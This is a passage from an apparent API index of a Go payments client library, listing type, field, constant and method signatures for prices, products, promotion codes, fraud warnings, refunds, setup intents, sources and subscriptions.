map[string]string + Nickname string + Object string + Product *Product + Recurring *PriceRecurring + TaxBehavior PriceTaxBehavior + Tiers []*PriceTier + TiersMode PriceTiersMode + TransformQuantity *PriceTransformQuantity + Type PriceType + UnitAmount int64 + UnitAmountDecimal float64 + func (p *Price) UnmarshalJSON(data []byte) error + type PriceBillingScheme string + const PriceBillingSchemePerUnit + const PriceBillingSchemeTiered + type PriceList struct + Data []*Price + type PriceListParams struct + Active *bool + Created *int64 + CreatedRange *RangeQueryParams + Currency *string + LookupKeys []*string + Product *string + Recurring *PriceRecurringListParams + Type *string + type PriceParams struct + Active *bool + BillingScheme *string + Currency *string + LookupKey *string + Nickname *string + Product *string + ProductData *PriceProductDataParams + Recurring *PriceRecurringParams + TaxBehavior *string + Tiers []*PriceTierParams + TiersMode *string + TransferLookupKey *bool + TransformQuantity *PriceTransformQuantityParams + UnitAmount *int64 + UnitAmountDecimal *float64 + type PriceProductDataParams struct + Active *bool + ID *string + Metadata map[string]string + Name *string + StatementDescriptor *string + TaxCode *string + UnitLabel *string + type PriceRecurring struct + AggregateUsage PriceRecurringAggregateUsage + Interval PriceRecurringInterval + IntervalCount int64 + TrialPeriodDays int64 + UsageType PriceRecurringUsageType + type PriceRecurringAggregateUsage string + const PriceRecurringAggregateUsageLastDuringPeriod + const PriceRecurringAggregateUsageLastEver + const PriceRecurringAggregateUsageMax + const PriceRecurringAggregateUsageSum + type PriceRecurringInterval string + const PriceRecurringIntervalDay + const PriceRecurringIntervalMonth + const PriceRecurringIntervalWeek + const PriceRecurringIntervalYear + type PriceRecurringListParams struct + Interval *string + UsageType *string + type PriceRecurringParams struct + AggregateUsage *string + Interval *string + IntervalCount *int64 + TrialPeriodDays *int64 + UsageType *string + type PriceRecurringUsageType string + const PriceRecurringUsageTypeLicensed + const PriceRecurringUsageTypeMetered + type PriceTaxBehavior string + const PriceTaxBehaviorExclusive + const PriceTaxBehaviorInclusive + const PriceTaxBehaviorUnspecified + type PriceTier struct + FlatAmount int64 + FlatAmountDecimal float64 + UnitAmount int64 + UnitAmountDecimal float64 + UpTo int64 + type PriceTierParams struct + FlatAmount *int64 + FlatAmountDecimal *float64 + UnitAmount *int64 + UnitAmountDecimal *float64 + UpTo *int64 + UpToInf *bool + func (p *PriceTierParams) AppendTo(body *form.Values, keyParts []string) + type PriceTiersMode string + const PriceTiersModeGraduated + const PriceTiersModeVolume + type PriceTransformQuantity struct + DivideBy int64 + Round PriceTransformQuantityRound + type PriceTransformQuantityParams struct + DivideBy *int64 + Round *string + type PriceTransformQuantityRound string + const PriceTransformQuantityRoundDown + const PriceTransformQuantityRoundUp + type PriceType string + const PriceTypeOneTime + const PriceTypeRecurring + type Product struct + Active bool + Attributes []string + Caption string + Created int64 + DeactivateOn []string + Deleted bool + Description string + ID string + Images []string + Livemode bool + Metadata map[string]string + Name string + Object string + PackageDimensions *PackageDimensions + Shippable bool + StatementDescriptor string + TaxCode *TaxCode + Type ProductType + URL string + UnitLabel string + Updated int64 + func (p *Product) UnmarshalJSON(data []byte) error + type ProductList struct + Data []*Product + type ProductListParams struct + Active *bool + Created *int64 + CreatedRange *RangeQueryParams + IDs []*string + Shippable *bool + Type *string + URL *string + type ProductParams struct + Active *bool + Attributes []*string + Caption *string + DeactivateOn []*string + Description *string + ID *string + Images []*string + Name *string + PackageDimensions *PackageDimensionsParams + Shippable *bool + StatementDescriptor *string + TaxCode *string + Type *string + URL *string + UnitLabel *string + type ProductType string + const ProductTypeGood + const ProductTypeService + type PromotionCode struct + Active bool + Code string + Coupon *Coupon + Created int64 + Customer *Customer + ExpiresAt int64 + ID string + Livemode bool + MaxRedemptions int64 + Metadata map[string]string + Object string + Restrictions *PromotionCodeRestrictions + TimesRedeemed int64 + func (p *PromotionCode) UnmarshalJSON(data []byte) error + type PromotionCodeList struct + Data []*PromotionCode + type PromotionCodeListParams struct + Active *bool + Code *string + Coupon *string + Created *int64 + CreatedRange *RangeQueryParams + Customer *string + type PromotionCodeParams struct + Active *bool + Code *string + Coupon *string + Customer *string + ExpiresAt *int64 + MaxRedemptions *int64 + Restrictions *PromotionCodeRestrictionsParams + type PromotionCodeRestrictions struct + FirstTimeTransaction bool + MinimumAmount int64 + MinimumAmountCurrency Currency + type PromotionCodeRestrictionsParams struct + FirstTimeTransaction *bool + MinimumAmount *int64 + MinimumAmountCurrency *string + type Query func(*Params, *form.Values) ([]interface{}, ListContainer, error) + type RadarEarlyFraudWarning struct + Actionable bool + Charge *Charge + Created int64 + FraudType RadarEarlyFraudWarningFraudType + ID string + Livemode bool + Object string + PaymentIntent *PaymentIntent + type RadarEarlyFraudWarningFraudType string + const RadarEarlyFraudWarningFraudTypeCardNeverReceived + const RadarEarlyFraudWarningFraudTypeFraudulentCardApplication + const RadarEarlyFraudWarningFraudTypeMadeWithCounterfeitCard + const RadarEarlyFraudWarningFraudTypeMadeWithLostCard + const RadarEarlyFraudWarningFraudTypeMadeWithStolenCard + const RadarEarlyFraudWarningFraudTypeMisc + const RadarEarlyFraudWarningFraudTypeUnauthorizedUseOfCard + type RadarEarlyFraudWarningList struct + Values []*RadarEarlyFraudWarning + type RadarEarlyFraudWarningListParams struct + Charge *string + PaymentIntent *string + type RadarEarlyFraudWarningParams struct + type RadarValueList struct + Alias string + Created int64 + CreatedBy string + Deleted bool + ID string + ItemType RadarValueListItemType + ListItems *RadarValueListItemList + Livemode bool + Metadata map[string]string + Name string + Object string + Updated int64 + UpdatedBy string + type RadarValueListItem struct + Created int64 + CreatedBy string + Deleted bool + ID string + Livemode bool + Name string + Object string + RadarValueList string + Value string + type RadarValueListItemList struct + Data []*RadarValueListItem + type RadarValueListItemListParams struct + Created *int64 + CreatedRange *RangeQueryParams + RadarValueList *string + Value *string + type RadarValueListItemParams struct + RadarValueList *string + Value *string + type RadarValueListItemType string + const RadarValueListItemTypeCardBin + const RadarValueListItemTypeCardFingerprint + const RadarValueListItemTypeCaseSensitiveString + const RadarValueListItemTypeCountry + const RadarValueListItemTypeEmail + const RadarValueListItemTypeIPAddress + const RadarValueListItemTypeString + type RadarValueListList struct + Data []*RadarValueList + type RadarValueListListParams struct + Alias *string + Contains *string + Created *int64 + CreatedRange *RangeQueryParams + type RadarValueListParams struct + Alias *string + ItemType *string + Name *string + type RangeQueryParams struct + GreaterThan int64 + GreaterThanOrEqual int64 + LesserThan int64 + LesserThanOrEqual int64 + type RateLimitError struct + func (e *RateLimitError) Error() string + type ReceiverFlow struct + Address string + AmountCharged int64 + AmountReceived int64 + AmountReturned int64 + RefundAttributesMethod SourceRefundAttributesMethod + RefundAttributesStatus SourceRefundAttributesStatus + type RedirectFlow struct + FailureReason SourceRedirectFlowFailureReason + ReturnURL string + Status SourceRedirectFlowStatus + URL string + type RedirectParams struct + ReturnURL *string + type Refund struct + Amount int64 + BalanceTransaction *BalanceTransaction + Charge *Charge + Created int64 + Currency Currency + FailureBalanceTransaction *BalanceTransaction + FailureReason RefundFailureReason + ID string + Metadata map[string]string + Object string + PaymentIntent *PaymentIntent + Reason RefundReason + ReceiptNumber string + SourceTransferReversal *Reversal + Status RefundStatus + TransferReversal *Reversal + func (r *Refund) UnmarshalJSON(data []byte) error + type RefundFailureReason string + const RefundFailureReasonExpiredOrCanceledCard + const RefundFailureReasonLostOrStolenCard + const RefundFailureReasonUnknown + type RefundList struct + Data []*Refund + type RefundListParams struct + Charge *string + Created *int64 + CreatedRange *RangeQueryParams + PaymentIntent *string + type RefundParams struct + Amount *int64 + Charge *string + PaymentIntent *string + Reason *string + RefundApplicationFee *bool + ReverseTransfer *bool + type RefundReason string + const RefundReasonDuplicate + const RefundReasonExpiredUncapturedCharge + const RefundReasonFraudulent + const RefundReasonRequestedByCustomer + type RefundStatus string + const RefundStatusCanceled + const RefundStatusFailed + const RefundStatusPending + const RefundStatusSucceeded + type Relationship struct + Director bool + Executive bool + Owner bool + PercentOwnership float64 + Representative bool + Title string + type RelationshipListParams struct + Director *bool + Executive *bool + Owner *bool + Representative *bool + type RelationshipParams struct + Director *bool + Executive *bool + Owner *bool + PercentOwnership *float64 + Representative *bool + Title *string + type ReportRun struct + Created int64 + Error string + ID string + Livemode bool + Object string + Parameters *ReportRunParameters + ReportType string + Result *File + Status ReportRunStatus + SucceededAt int64 + type ReportRunList struct + Data []*ReportRun + type ReportRunListParams struct + Created *int64 + CreatedRange *RangeQueryParams + type ReportRunParameters struct + Columns []string + ConnectedAccount string + Currency Currency + IntervalEnd int64 + IntervalStart int64 + Payout string + ReportingCategory string + Timezone string + type ReportRunParametersParams struct + Columns []*string + ConnectedAccount *string + Currency *string + IntervalEnd *int64 + IntervalStart *int64 + Payout *string + ReportingCategory *string + Timezone *string + type ReportRunParams struct + Parameters *ReportRunParametersParams + ReportType *string + type ReportRunStatus string + const ReportRunStatusFailed + const ReportRunStatusPending + const ReportRunStatusSucceeded + type ReportType struct + Created int64 + DataAvailableEnd int64 + DataAvailableStart int64 + DefaultColumns []string + ID string + Name string + Object string + Updated int64 + Version int64 + type ReportTypeList struct + Data []*ReportType + type ReportTypeListParams struct + type ReportTypeParams struct + type Requirements struct + CurrentlyDue []string + Errors []*AccountRequirementsError + EventuallyDue []string + PastDue []string + PendingVerification []string + type Reversal struct + Amount int64 + BalanceTransaction *BalanceTransaction + Created int64 + Currency Currency + Description string + DestinationPaymentRefund *Refund + ID string + Metadata map[string]string + SourceRefund *Refund + Transfer string + func (r *Reversal) UnmarshalJSON(data []byte) error + type ReversalList struct + Data []*Reversal + type ReversalListParams struct + Transfer *string + type ReversalParams struct + Amount *int64 + Description *string + RefundApplicationFee *bool + Transfer *string + type Review struct + BillingZip string + Charge *Charge + ClosedReason ReviewClosedReason + Created int64 + ID string + IPAddress string + IPAddressLocation *ReviewIPAddressLocation + Livemode bool + Object string + Open bool + OpenedReason ReviewOpenedReason + PaymentIntent *PaymentIntent + Reason ReviewReasonType + Session *ReviewSession + func (r *Review) UnmarshalJSON(data []byte) error + type ReviewApproveParams struct + type ReviewClosedReason string + const ReviewClosedReasonApproved + const ReviewClosedReasonDisputed + const ReviewClosedReasonRefunded + const ReviewClosedReasonRefundedAsFraud + type ReviewIPAddressLocation struct + City string + Country string + Latitude float64 + Longitude float64 + Region string + type ReviewList struct + Data []*Review + type ReviewListParams struct + Created *int64 + CreatedRange *RangeQueryParams + type ReviewOpenedReason string + const ReviewOpenedReasonManual + const ReviewOpenedReasonRule + type ReviewParams struct + type ReviewReasonType string + const ReviewReasonApproved + const ReviewReasonDisputed + const ReviewReasonManual + const ReviewReasonRefunded + const ReviewReasonRefundedAsFraud + const ReviewReasonRule + type ReviewSession struct + Browser string + Device string + Platform string + Version string + type SKU struct + Active bool + Attributes map[string]string + Created int64 + Currency Currency + Description string + ID string + Image string + Inventory *Inventory + Livemode bool + Metadata map[string]string + PackageDimensions *PackageDimensions + Price int64 + Product *Product + Updated int64 + func (s *SKU) UnmarshalJSON(data []byte) error + type SKUInventoryType string + const SKUInventoryTypeBucket + const SKUInventoryTypeFinite + const SKUInventoryTypeInfinite + type SKUInventoryValue string + const SKUInventoryValueInStock + const SKUInventoryValueLimited + const SKUInventoryValueOutOfStock + type SKUList struct + Data []*SKU + type SKUListParams struct + Active *bool + Attributes map[string]string + IDs []*string + InStock *bool + Product *string + type SKUParams struct + Active *bool + Attributes map[string]string + Currency *string + Description *string + ID *string + Image *string + Inventory *InventoryParams + PackageDimensions *PackageDimensionsParams + Price *int64 + Product *string + type SetupAttempt struct + Application *Application + Created int64 + Customer *Customer + ID string + Livemode bool + Object string + OnBehalfOf *Account + PaymentMethod *PaymentMethod + PaymentMethodDetails *SetupAttemptPaymentMethodDetails + SetupError *Error + Status SetupAttemptStatus + Usage SetupAttemptUsage + func (p *SetupAttempt) UnmarshalJSON(data []byte) error + type SetupAttemptList struct + Data []*SetupAttempt + type SetupAttemptListParams struct + Created *int64 + CreatedRange *RangeQueryParams + SetupIntent *string + type SetupAttemptPaymentMethodDetails struct + Bancontact *SetupAttemptPaymentMethodDetailsBancontact + Card *SetupAttemptPaymentMethodDetailsCard + Ideal *SetupAttemptPaymentMethodDetailsIdeal + Sofort *SetupAttemptPaymentMethodDetailsSofort + Type SetupAttemptPaymentMethodDetailsType + type SetupAttemptPaymentMethodDetailsBancontact struct + BankCode string + BankName string + Bic string + GeneratedSepaDebit *PaymentMethod + GeneratedSepaDebitMandate *Mandate + IbanLast4 string + PreferredLanguage string + VerifiedName string + type SetupAttemptPaymentMethodDetailsCard struct + ThreeDSecure *SetupAttemptPaymentMethodDetailsCardThreeDSecure + type SetupAttemptPaymentMethodDetailsCardThreeDSecure struct + AuthenticationFlow SetupAttemptPaymentMethodDetailsCardThreeDSecureAuthenticationFlow + Result SetupAttemptPaymentMethodDetailsCardThreeDSecureResult + ResultReason SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReason + Version string + type SetupAttemptPaymentMethodDetailsCardThreeDSecureAuthenticationFlow string + const SetupAttemptPaymentMethodDetailsCardThreeDSecureAuthenticationFlowChallenge + const SetupAttemptPaymentMethodDetailsCardThreeDSecureAuthenticationFlowFrictionless + type SetupAttemptPaymentMethodDetailsCardThreeDSecureResult string + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultAttemptAcknowledged + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultAuthenticated + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultFailed + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultNotSupported + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultProcessingError + type SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReason string + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReasonAbandoned + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReasonBypassed + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReasonCanceled + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReasonCardNotEnrolled + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReasonNetworkNotSupported + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReasonProtocolError + const SetupAttemptPaymentMethodDetailsCardThreeDSecureResultReasonRejected + type SetupAttemptPaymentMethodDetailsIdeal struct + Bank string + Bic string + GeneratedSepaDebit *PaymentMethod + GeneratedSepaDebitMandate *Mandate + IbanLast4 string + VerifiedName string + type SetupAttemptPaymentMethodDetailsSofort struct + BankCode string + BankName string + Bic string + GeneratedSepaDebit *PaymentMethod + GeneratedSepaDebitMandate *Mandate + IbanLast4 string + PreferredLanguage string + VerifiedName string + type SetupAttemptPaymentMethodDetailsType string + const SetupAttemptPaymentMethodDetailsTypeCard + type SetupAttemptStatus string + const SetupAttemptStatusAbandoned + const SetupAttemptStatusFailed + const SetupAttemptStatusProcessing + const SetupAttemptStatusRequiresAction + const SetupAttemptStatusRequiresConfirmation + const SetupAttemptStatusSucceeded + type SetupAttemptUsage string + const SetupAttemptUsageOffSession + const SetupAttemptUsageOnSession + type SetupIntent struct + Application *Application + CancellationReason SetupIntentCancellationReason + ClientSecret string + Created int64 + Customer *Customer + Description string + ID string + LastSetupError *Error + LatestAttempt *SetupAttempt + Livemode bool + Mandate *Mandate + Metadata map[string]string + NextAction *SetupIntentNextAction + Object string + OnBehalfOf *Account + PaymentMethod *PaymentMethod + PaymentMethodOptions *SetupIntentPaymentMethodOptions + PaymentMethodTypes []string + SingleUseMandate *Mandate + Status SetupIntentStatus + Usage SetupIntentUsage + func (p *SetupIntent) UnmarshalJSON(data []byte) error + type SetupIntentCancelParams struct + CancellationReason *string + type SetupIntentCancellationReason string + const SetupIntentCancellationReasonAbandoned + const SetupIntentCancellationReasonFailedInvoice + const SetupIntentCancellationReasonFraudulent + const SetupIntentCancellationReasonRequestedByCustomer + type SetupIntentConfirmParams struct + MandateData *SetupIntentMandateDataParams + PaymentMethod *string + PaymentMethodOptions *SetupIntentPaymentMethodOptionsParams + ReturnURL *string + type SetupIntentList struct + Data []*SetupIntent + type SetupIntentListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Customer *string + PaymentMethod *string + type SetupIntentMandateDataCustomerAcceptanceOfflineParams struct + type SetupIntentMandateDataCustomerAcceptanceOnlineParams struct + IPAddress *string + UserAgent *string + type SetupIntentMandateDataCustomerAcceptanceParams struct + AcceptedAt int64 + Offline *SetupIntentMandateDataCustomerAcceptanceOfflineParams + Online *SetupIntentMandateDataCustomerAcceptanceOnlineParams + Type MandateCustomerAcceptanceType + type SetupIntentMandateDataParams struct + CustomerAcceptance *SetupIntentMandateDataCustomerAcceptanceParams + type SetupIntentNextAction struct + RedirectToURL *SetupIntentNextActionRedirectToURL + Type SetupIntentNextActionType + UseStripeSDK *SetupIntentNextActionUseStripeSDK + VerifyWithMicrodeposits *SetupIntentNextActionVerifyWithMicrodeposits + type SetupIntentNextActionRedirectToURL struct + ReturnURL string + URL string + type SetupIntentNextActionType string + const SetupIntentNextActionTypeRedirectToURL + type SetupIntentNextActionUseStripeSDK struct + type SetupIntentNextActionVerifyWithMicrodeposits struct + ArrivalDate int64 + HostedVerificationURL string + type SetupIntentParams struct + Confirm *bool + Customer *string + Description *string + MandateData *SetupIntentMandateDataParams + OnBehalfOf *string + PaymentMethod *string + PaymentMethodOptions *SetupIntentPaymentMethodOptionsParams + PaymentMethodTypes []*string + ReturnURL *string + SingleUse *SetupIntentSingleUseParams + Usage *string + type SetupIntentPaymentMethodOptions struct + ACSSDebit *SetupIntentPaymentMethodOptionsACSSDebit + Card *SetupIntentPaymentMethodOptionsCard + type SetupIntentPaymentMethodOptionsACSSDebit struct + Currency string + MandateOptions *SetupIntentPaymentMethodOptionsACSSDebitMandateOptions + VerificationMethod SetupIntentPaymentMethodOptionsACSSDebitVerificationMethod + type SetupIntentPaymentMethodOptionsACSSDebitMandateOptions struct + CustomMandateURL string + IntervalDescription string + PaymentSchedule SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentSchedule + TransactionType SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionType + type SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsParams struct + CustomMandateURL *string + IntervalDescription *string + PaymentSchedule *string + TransactionType *string + type SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentSchedule string + const SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleCombined + const SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleInterval + const SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsPaymentScheduleSporadic + type SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionType string + const SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionTypeBusiness + const SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsTransactionTypePersonal + type SetupIntentPaymentMethodOptionsACSSDebitParams struct + Currency *string + MandateOptions *SetupIntentPaymentMethodOptionsACSSDebitMandateOptionsParams + VerificationMethod *string + type SetupIntentPaymentMethodOptionsACSSDebitVerificationMethod string + const SetupIntentPaymentMethodOptionsACSSDebitVerificationMethodAutomatic + const SetupIntentPaymentMethodOptionsACSSDebitVerificationMethodInstant + const SetupIntentPaymentMethodOptionsACSSDebitVerificationMethodMicrodeposits + type SetupIntentPaymentMethodOptionsCard struct + RequestThreeDSecure SetupIntentPaymentMethodOptionsCardRequestThreeDSecure + type SetupIntentPaymentMethodOptionsCardParams struct + MOTO *bool + RequestThreeDSecure *string + type SetupIntentPaymentMethodOptionsCardRequestThreeDSecure string + const SetupIntentPaymentMethodOptionsCardRequestThreeDSecureAny + const SetupIntentPaymentMethodOptionsCardRequestThreeDSecureAutomatic + type SetupIntentPaymentMethodOptionsParams struct + ACSSDebit *SetupIntentPaymentMethodOptionsACSSDebitParams + Card *SetupIntentPaymentMethodOptionsCardParams + type SetupIntentSingleUseParams struct + Amount *int64 + Currency *string + type SetupIntentStatus string + const SetupIntentStatusCanceled + const SetupIntentStatusProcessing + const SetupIntentStatusRequiresAction + const SetupIntentStatusRequiresConfirmation + const SetupIntentStatusRequiresPaymentMethod + const SetupIntentStatusSucceeded + type SetupIntentUsage string + const SetupIntentUsageOffSession + const SetupIntentUsageOnSession + type Shipping struct + Address *Address + Carrier string + Name string + Phone string + TrackingNumber string + type ShippingDetails struct + Address *Address + Carrier string + Name string + Phone string + TrackingNumber string + type ShippingDetailsParams struct + Address *AddressParams + Carrier *string + Name *string + Phone *string + TrackingNumber *string + type ShippingMethod struct + Amount int64 + Currency Currency + DeliveryEstimate *DeliveryEstimate + Description string + ID string + type ShippingParams struct + Address *AddressParams + Name *string + Phone *string + type SigmaScheduledQueryRun struct + Created int64 + DataLoadTime int64 + Error string + File *File + ID string + Livemode bool + Object string + Query string + ResultAvailableUntil int64 + SQL string + Status SigmaScheduledQueryRunStatus + Title string + func (i *SigmaScheduledQueryRun) UnmarshalJSON(data []byte) error + type SigmaScheduledQueryRunList struct + Data []*SigmaScheduledQueryRun + type SigmaScheduledQueryRunListParams struct + type SigmaScheduledQueryRunParams struct + type SigmaScheduledQueryRunStatus string + const SigmaScheduledQueryRunStatusCanceled + const SigmaScheduledQueryRunStatusCompleted + const SigmaScheduledQueryRunStatusFailed + const SigmaScheduledQueryRunStatusTimedOut + type Source struct + Amount int64 + ClientSecret string + CodeVerification *CodeVerificationFlow + Created int64 + Currency Currency + Customer string + Flow SourceFlow + ID string + Livemode bool + Mandate *SourceMandate + Metadata map[string]string + Owner *SourceOwner + Receiver *ReceiverFlow + Redirect *RedirectFlow + SourceOrder *SourceSourceOrder + StatementDescriptor string + Status SourceStatus + Type string + TypeData map[string]interface{} + Usage SourceUsage + func (s *Source) UnmarshalJSON(data []byte) error + type SourceCodeVerificationFlowStatus string + const SourceCodeVerificationFlowStatusFailed + const SourceCodeVerificationFlowStatusPending + const SourceCodeVerificationFlowStatusSucceeded + type SourceFlow string + const SourceFlowCodeVerification + const SourceFlowNone + const SourceFlowReceiver + const SourceFlowRedirect + type SourceList struct + Data []*PaymentSource + type SourceListParams struct + Customer *string + type SourceMandate struct + Acceptance *SourceMandateAcceptance + NotificationMethod SourceMandateNotificationMethod + Reference string + URL string + type SourceMandateAcceptance struct + Date int64 + IP string + Status SourceMandateAcceptanceStatus + UserAgent string + type SourceMandateAcceptanceOfflineParams struct + ContactEmail *string + type SourceMandateAcceptanceOnlineParams struct + Date *int64 + IP *string + UserAgent *string + type SourceMandateAcceptanceParams struct + Date *int64 + IP *string + Offline *SourceMandateAcceptanceOfflineParams + Online *SourceMandateAcceptanceOnlineParams + Status *string + Type *string + UserAgent *string + type SourceMandateAcceptanceStatus string + const SourceMandateAcceptanceStatusAccepted + const SourceMandateAcceptanceStatusRefused + type SourceMandateNotificationMethod string + const SourceMandateNotificationMethodEmail + const SourceMandateNotificationMethodManual + const SourceMandateNotificationMethodNone + type SourceMandateParams struct + Acceptance *SourceMandateAcceptanceParams + Amount *int64 + Currency *string + Interval *string + NotificationMethod *string + type SourceObjectDetachParams struct + Customer *string + type SourceObjectParams struct + Amount *int64 + Currency *string + Customer *string + Flow *string + Mandate *SourceMandateParams + OriginalSource *string + Owner *SourceOwnerParams + Receiver *SourceReceiverParams + Redirect *RedirectParams + SourceOrder *SourceOrderParams + StatementDescriptor *string + Token *string + Type *string + TypeData map[string]string + Usage *string + func (p *SourceObjectParams) AppendTo(body *form.Values, keyParts []string) + type SourceOrderItemsParams struct + Amount *int64 + Currency *string + Description *string + Parent *string + Quantity *int64 + Type *string + type SourceOrderParams struct + Items []*SourceOrderItemsParams + Shipping *ShippingDetailsParams + type SourceOwner struct + Address *Address + Email string + Name string + Phone string + VerifiedAddress *Address + VerifiedEmail string + VerifiedName string + VerifiedPhone string + type SourceOwnerParams struct + Address *AddressParams + Email *string + Name *string + Phone *string + type SourceParams struct + Card *CardParams + Token *string + func SourceParamsFor(obj interface{}) (*SourceParams, error) + func (p *SourceParams) AppendTo(body *form.Values, keyParts []string) + type SourceReceiverParams struct + RefundAttributesMethod *string + type SourceRedirectFlowFailureReason string + const SourceRedirectFlowFailureReasonDeclined + const SourceRedirectFlowFailureReasonProcessingError + const SourceRedirectFlowFailureReasonUserAbort + type SourceRedirectFlowStatus string + const SourceRedirectFlowStatusFailed + const SourceRedirectFlowStatusNotRequired + const SourceRedirectFlowStatusPending + const SourceRedirectFlowStatusSucceeded + type SourceRefundAttributesMethod string + const SourceRefundAttributesMethodEmail + const SourceRefundAttributesMethodManual + type SourceRefundAttributesStatus string + const SourceRefundAttributesStatusAvailable + const SourceRefundAttributesStatusMissing + const SourceRefundAttributesStatusRequested + type SourceSourceOrder struct + Amount int64 + Currency Currency + Email string + Items *[]SourceSourceOrderItems + Shipping *ShippingDetails + type SourceSourceOrderItemType string + const SourceSourceOrderItemTypeDiscount + const SourceSourceOrderItemTypeSKU + const SourceSourceOrderItemTypeShipping + const SourceSourceOrderItemTypeTax + type SourceSourceOrderItems struct + Amount int64 + Currency Currency + Description string + Quantity int64 + Type SourceSourceOrderItemType + type SourceStatus string + const SourceStatusCanceled + const SourceStatusChargeable + const SourceStatusConsumed + const SourceStatusFailed + const SourceStatusPending + type SourceTransaction struct + Amount int64 + Created int64 + Currency Currency + CustomerData string + ID string + Livemode bool + Source string + Type string + TypeData map[string]interface{} + func (t *SourceTransaction) UnmarshalJSON(data []byte) error + type SourceTransactionList struct + Data []*SourceTransaction + type SourceTransactionListParams struct + Source *string + type SourceUsage string + const SourceUsageReusable + const SourceUsageSingleUse + type SourceVerifyParams struct + Amounts [2]int64 + Customer *string + Values []*string + type StatusTransitions struct + Canceled int64 + Fulfilled int64 + Paid int64 + Returned int64 + type StatusTransitionsFilterParams struct + Canceled *int64 + CanceledRange *RangeQueryParams + Fulfilled *int64 + FulfilledRange *RangeQueryParams + Paid *int64 + PaidRange *RangeQueryParams + Returned *int64 + ReturnedRange *RangeQueryParams + type Subscription struct + ApplicationFeePercent float64 + AutomaticTax *SubscriptionAutomaticTax + BillingCycleAnchor int64 + BillingThresholds *SubscriptionBillingThresholds + CancelAt int64 + CancelAtPeriodEnd bool + CanceledAt int64 + CollectionMethod SubscriptionCollectionMethod + Created int64 + CurrentPeriodEnd int64 + CurrentPeriodStart int64 + Customer *Customer + DaysUntilDue int64 + DefaultPaymentMethod *PaymentMethod + DefaultSource *PaymentSource + DefaultTaxRates []*TaxRate + Discount *Discount + EndedAt int64 + ID string + Items *SubscriptionItemList + LatestInvoice *Invoice + Livemode bool + Metadata map[string]string + NextPendingInvoiceItemInvoice int64 + Object string + OnBehalfOf *Account + PauseCollection SubscriptionPauseCollection + PendingInvoiceItemInterval SubscriptionPendingInvoiceItemInterval + PendingSetupIntent *SetupIntent + PendingUpdate *SubscriptionPendingUpdate + Plan *Plan + Quantity int64 + Schedule *SubscriptionSchedule + StartDate int64 + Status SubscriptionStatus + TransferData *SubscriptionTransferData + TrialEnd int64 + TrialStart int64 + func (s *Subscription) UnmarshalJSON(data []byte) error + type SubscriptionAddInvoiceItemParams struct + Price *string + PriceData *InvoiceItemPriceDataParams + Quantity *int64 + TaxRates []*string + type SubscriptionAutomaticTax struct + Enabled bool + type SubscriptionAutomaticTaxParams struct + Enabled *bool + type SubscriptionBillingThresholds struct + AmountGTE int64 + ResetBillingCycleAnchor bool + type SubscriptionBillingThresholdsParams struct + AmountGTE *int64 + ResetBillingCycleAnchor *bool + type SubscriptionCancelParams struct + InvoiceNow *bool + Prorate *bool + type SubscriptionCollectionMethod string + const SubscriptionCollectionMethodChargeAutomatically + const SubscriptionCollectionMethodSendInvoice + type SubscriptionItem struct + BillingThresholds SubscriptionItemBillingThresholds + Created int64 + Deleted bool + ID string + Metadata map[string]string + Object string + Plan *Plan + Price *Price + Quantity int64 + Subscription string + TaxRates []*TaxRate + type SubscriptionItemBillingThresholds struct + UsageGTE int64 + type SubscriptionItemBillingThresholdsParams struct + UsageGTE *int64 + type SubscriptionItemList struct + Data []*SubscriptionItem + type SubscriptionItemListParams struct + Subscription *string + type SubscriptionItemParams struct + BillingThresholds *SubscriptionItemBillingThresholdsParams + ClearUsage *bool + ID *string + OffSession *bool + PaymentBehavior *string + Plan *string + Price *string + PriceData *SubscriptionItemPriceDataParams + ProrationBehavior *string + ProrationDate *int64 + Quantity *int64 + Subscription *string + TaxRates []*string + type SubscriptionItemPriceDataParams struct + Currency *string + Product *string + Recurring *SubscriptionItemPriceDataRecurringParams + TaxBehavior *string + UnitAmount *int64 + UnitAmountDecimal *float64 + type SubscriptionItemPriceDataRecurringParams struct + Interval *string + IntervalCount *int64 + type SubscriptionItemsParams struct + BillingThresholds *SubscriptionItemBillingThresholdsParams + ClearUsage *bool + Deleted *bool + ID *string + Plan *string + Price *string + PriceData *SubscriptionItemPriceDataParams + Quantity *int64 + TaxRates []*string + type SubscriptionList struct + Data []*Subscription + type SubscriptionListParams struct + CollectionMethod *string + Created int64 + CreatedRange *RangeQueryParams + CurrentPeriodEnd *int64 + CurrentPeriodEndRange *RangeQueryParams + CurrentPeriodStart *int64 + CurrentPeriodStartRange *RangeQueryParams + Customer string + Plan string + Price string + Status string + type SubscriptionParams struct + AddInvoiceItems []*SubscriptionAddInvoiceItemParams + ApplicationFeePercent *float64 + AutomaticTax *SubscriptionAutomaticTaxParams + BackdateStartDate *int64 + BillingCycleAnchor *int64 + BillingCycleAnchorNow *bool + BillingCycleAnchorUnchanged *bool + BillingThresholds *SubscriptionBillingThresholdsParams + CancelAt *int64 + CancelAtPeriodEnd *bool + Card *CardParams + CollectionMethod *string + Coupon *string + Customer *string + DaysUntilDue *int64 + DefaultPaymentMethod *string + DefaultSource *string + DefaultTaxRates []*string + Items []*SubscriptionItemsParams + OffSession *bool + OnBehalfOf *string + PauseCollection *SubscriptionPauseCollectionParams + PaymentBehavior *string + 